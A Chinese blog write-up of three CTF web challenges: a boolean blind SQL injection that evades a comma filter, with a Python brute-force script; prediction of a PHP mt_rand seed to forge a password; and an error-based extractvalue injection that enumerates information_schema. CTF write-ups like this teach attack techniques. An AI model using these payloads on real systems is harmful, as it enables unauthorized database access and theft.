sky's blog

陕西杯web详解

字数统计: 1,000阅读时长: 5 min
2017/06/18 Share

so easy(Bool注入)

没有回显,构造盲注,用ascii比较,爆出密码
ascii(mid(passwd,%d,1))=%d
本来可以用这个方法比较,但是逗号被过滤了
所以思考构造方法
假设passwd=abc123

1
2
3
mid((passwd)from(-1)):3
mid((passwd)from(-2)):23
mid((passwd)from(-3)):123

倒叙输出from的位数
观察可知

1
2
3
3
23
123

倒着看的第一位都是3,显然不行,无法截取出来,于是想到反转

1
2
3
3
32
321

然后取最后一位即可
故构造为:
REVERSE(MID((passwd)from(-%s))
先反转
mid(REVERSE(MID((passwd)from(-%s)))from(-1))
再取最后一位
ascii(mid(REVERSE(MID((passwd)from(-%s)))from(-1)))=%d
再比较ascii码值

1
2
s in range(1,33)
d in range(33,127)

最后根据username=’’+true-‘1’
构造出Payload: ’+true-‘1
把true替换
‘+ ascii(mid(REVERSE(MID((passwd)from(-%s)))from(-1)))=%d -‘1
只要比较正确即可有正确的回显
可以盲注出passwd,即可通过
注:这里的admin不能直接提交,可以通过数据库不识别不认识的字符截断
username=admin%df通过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#!/usr/bin/env python
#Author:Sublime
#coding:utf-8
import requests


url = 'http://117.34.111.15:89/index.php?action=show'
flag = ''
payload = "'+(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'1"
date = {
'username':''
}
head = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0',
'Content-Type':'application/x-www-form-urlencoded',
}
for x in range(1,33):
for y in range(33,127):
date['username'] = payload%(x,y)
f = requests.post(url=url,data=date,headers=head)
# print date
if len(f.content)!=21:
flag+=chr(y)
print '[+]found:'+flag
break
print flag[::-1]

wrong

mt_srand(seed)
根据参数seed,设置一个随机启示点。
mt_rand()根据这个起始点,产生随机数序列。
默认的随机种子为1。如果随机种子一样,rand函数所产生的随机序列也一样。 (可以利用这一漏洞,预先计算出pwd,故可以通过)
为使每次程序运行都能产生不同的随机序列,每次都应产生一个不同的种子参数
mt_rand(min,max)
产生10~100之间的随机数
故运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$a = strtotime('Sun, 17 Apr 2017 19:13:47 GMT');
mt_srand($a+100);
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
$pwd=create_password();
echo $pwd;

得到pwd:
~iH^32+%-t

再运行

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
#coding:utf-8
import requests
url = 'http://117.34.111.15:85/?pwd=~iH^32+%-t'
while True:
f = requests.get(url=url)
if 'Wrong!' not in f.content:
print f.content
break

即可得到flag
提前100秒计算出100秒后的pwd
然后一直发请求,等到你预设的时间点的pwd的时候就通过

just a test(xpath注入)

Extractvalue()


注:现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用
顺带发现了另一个xpath的函数


Contact(str1,str2…)

‘ union select (extractvalue(1,concat(0x7e,(你想获取的数据的sql语句)))),'1
爆库:select SCHEMA_NAME from information_schema.SCHEMATA limit 5,1
Payload:
' union select (extractvalue(1,concat(0x7e,(select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1)))),'1
发现一共3个库:

1
2
3
information_schema
test
test1

爆表:select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0×6D656D626572 limit 5,1
Payload:
' union select (extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1)))),'1

TABLE_SCHEMA=后面是库名的16进制
在test库里第一个刚好是fl@g表……就不继续爆了
爆列:select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0×61646D5F75736572 limit 5,1

1
' union select (extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c4067 limit 0,1)))),'1

字段

1
2
id
f1ag

最后取出flag
http://117.34.111.15:83/' union select (extractvalue(1,concat(0x7e,(select f1ag from test.fl@glimit 0,1)))),'1
flag{99cd1872c9b26525a8e5ec878d
但由于32位限制,只出现部分flag,故用mid截取
' union select (extractvalue(1,concat(0x7e,mid((select f1ag from test.fl@glimit 0,1)from(20))))),'1
将两个结尾和开头重合部分拼接上
flag{99cd1872c9b26525a8e5ec878d230caf}
最后得到flag

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. so easy(Bool注入)
  2. 2. wrong
  3. 3. just a test(xpath注入)